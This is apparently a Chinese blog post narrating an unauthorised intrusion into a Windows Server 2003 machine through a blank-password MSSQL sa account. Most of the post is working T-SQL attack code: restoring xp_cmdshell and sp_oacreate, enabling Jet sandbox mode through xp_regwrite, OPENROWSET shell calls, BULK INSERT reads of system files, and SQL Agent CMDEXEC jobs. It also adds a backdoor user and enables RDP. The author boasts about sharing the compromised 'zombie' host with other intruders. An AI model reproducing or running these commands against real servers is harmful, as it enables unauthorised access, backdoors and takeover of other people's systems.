记一次艰难的sql提权。

昨晚没关机 扫了一夜 扫到一个3389，而且开着1433，且1433的sa账户是空口令。

遂大喜。

第一步：尝试xp_cmdshell

xp_cmdshell  ' dir c:/ >> r.txt '

 

提示找不到xplog70.dll，于是我恢复一下xp_cmdshell试试

exec  sp_dropextendedproc  ' xp_cmdshell '
dbcc  addextendedproc ( ' xp_cmdshell ' , ' xplog70.dll ' )

仍然提示找不到xplog70.dll，看来是管理员把该DLL删除了。

 

 

第二步：尝试xp_oacreate

declare   @shell   int  
exec  sp_oacreate  ' wscript.shell ' , @shell  output 
exec  sp_oamethod  @shell , ' run ' , null , ' c:\windows\system32\cmd.exe /c net user lee asdf123 /add ' --

 

结果提示无法找到odsole70.dll，于是恢复sp_oacreate试试

 

drop   procedure  sp_oacreate
dbcc  addextendedproc ( ' sp_oacreate ' , ' odsole70.dll ' )

仍然提示找不到odsole70.dll，无奈，管理员将这个dll也删除了。

 

 

第三步：尝试xp_regwrite (使用xp_regwrite修改注册表，开启沙盒模式)

 

dbcc  addextendedproc ( ' xp_regwrite ' , ' xpstar.dll ' )
exec  xp_regwrite  ' HKEY_LOCAL_MACHINE ' , ' SoftWare\Microsoft\Jet\4.0\Engine ' , ' SandBoxMode ' , ' REG_DWORD ' , 1

成功执行了 噢YEAH。

 

然后通过openrowset引用microsoft.jet引擎，执行dos命令，c:\windows\system32\ias\ias.mdb这个数据库文件是xp/2003默认带的，可以通过dir /a /s *.mdb 查看当前系统的mdb文件。

 

select   *   from   openrowset ( ' microsoft.jet.oledb.4.0 ' , ' database=c:\windows\system32\ias\ias.mdb ' , ' select shell("cmd.exe /c dir c:\ >> test.txt") ' )

 

提示下面这个错误，不知道为什么，但是可以证明的是microsoft.jet.oledb.4.0是可用的，否则会提示找不到microsoft.jet.oledb.4.0。
初步分析是ias.mdb被管理员删除。

 

[ OLE/DB provider returned message: 找不到可安装的 ISAM。 ]
OLE DB 错误跟踪［OLE / DB Provider  ' microsoft.jet.oledb.4.0 '  IDBInitialize::Initialize returned  0x80004005 :   ］。
Msg  7399 ,  Level   16 , State  1 , Line  1
OLE DB 提供程序  ' microsoft.jet.oledb.4.0 '  报错。

 

为了证实ias.mdb被管理员删除，于是通过BULK执行该命令查看ias.mdb是否存在。

 

drop   table   [ clee ]
CREATE   TABLE   [ clee ] (ResultTxt  nvarchar ( 1024 )  NULL )
BULK   INSERT   [ clee ]   FROM   ' c:\windows\system32\ias\ias.mdb '   WITH  (KEEPNULLS)
insert   into   [ clee ]   values  ( ' g_over ' );
Alter   Table   [ clee ]   add  id  int   NOT   NULL   IDENTITY  ( 1 , 1 )
select   *   from   [ clee ]  

 

返回如下提示，证实了我的想法，ias.mdb果然被变态的管理员删除了，真搞不懂安全设置可以考虑这么周到的管理员竟然会给sa留下一个空口令。

Msg  4860 ,  Level   16 , State  1 , Line  3
未能进行大容量插入。文件  ' c:\windows\system32\ias\ias.mdb '  不存在。

不过，得到该提示说明BULK是可以使用的，我们是可以读取磁盘的文件的。

 

于是我看了下boot.ini文件

drop   table   [ clee ]
CREATE   TABLE   [ clee ] (ResultTxt  nvarchar ( 1024 )  NULL )
BULK   INSERT   [ clee ]   FROM   ' c:\boot.ini '   WITH  (KEEPNULLS)
insert   into   [ clee ]   values  ( ' g_over ' );
Alter   Table   [ clee ]   add  id  int   NOT   NULL   IDENTITY  ( 1 , 1 )
select   *   from   [ clee ]  

 

得到如下结果 

multi( 0 ) disk ( 0 )rdisk( 0 )partition( 1 )\WINDOWS = "Windows Server  2003 , Enterprise"  / fastdetect  / NoExecute = OptOut

说明是2003企业版的。

 

 

第四步 启动SQLSERVERAGENT 通过JOB执行cmd

抱着试一试的心态，我启动SqlserverAgent

 

exec  master.dbo.xp_servicecontrol  ' start ' , ' SQLSERVERAGENT '

竟然提示服务启动成功，这下终于可以执行dos命令了。

 

接着添加执行cmd命令的JOB。

 

use  msdb 

exec  sp_delete_job  NULL , ' x '  
exec  sp_add_job  ' x '  
exec  sp_add_jobstep  NULL , ' x ' , NULL , 1 , ' CMDEXEC ' , ' cmd /c dir c:\ > c:\a.txt '
exec  sp_add_jobserver  NULL , ' x ' , @@servername  
exec  sp_start_job  ' x '

这里执行dir列目录命令，列出c盘根目录下的文件，将结果保存到a.txt

然后通过BULK查看a.txt中的结果。

 

drop   table   [ clee ]
CREATE   TABLE   [ clee ] (ResultTxt  nvarchar ( 1024 )  NULL )
BULK   INSERT   [ clee ]   FROM   ' c:\a.txt '   WITH  (KEEPNULLS)
insert   into   [ clee ]   values  ( ' g_over ' );
Alter   Table   [ clee ]   add  id  int   NOT   NULL   IDENTITY  ( 1 , 1 )
select   *   from   [ clee ]  

 

OK 顺利看到结果，接下来运行net user，加上账户后，使用xp_regwrite通过更改注册表打开3389，然后连上可爱的3389吧。

 

xp_regwrite  ' HKEY_LOCAL_MACHINE ' , ' SYSTEM\CurrentControlSet\Control\Terminal Server ' , ' fDenyTSConnections ' , ' REG_DWORD ' , 0 ; --

 

=======================================================
======================= 华丽的分割线 =======================
=======================================================

 

后记：

这次入侵成功的关键点第一个是管理员将sa设置为空口令，而且sqlserveragent可以启动，这样就可以通过job来执行cmd命令并结合bulk查看执行结果了。

连上3389后我才知道，xplog70.dll和odsole70.dll 还有ias目录下两个可爱的mdb文件，不是管理员删除的，是另外一个同行拿到3389后，为了不让该肉鸡沦落到他人手中而删掉的，fuck!  我从来不干这种事，一向都是有鸡同享  -。-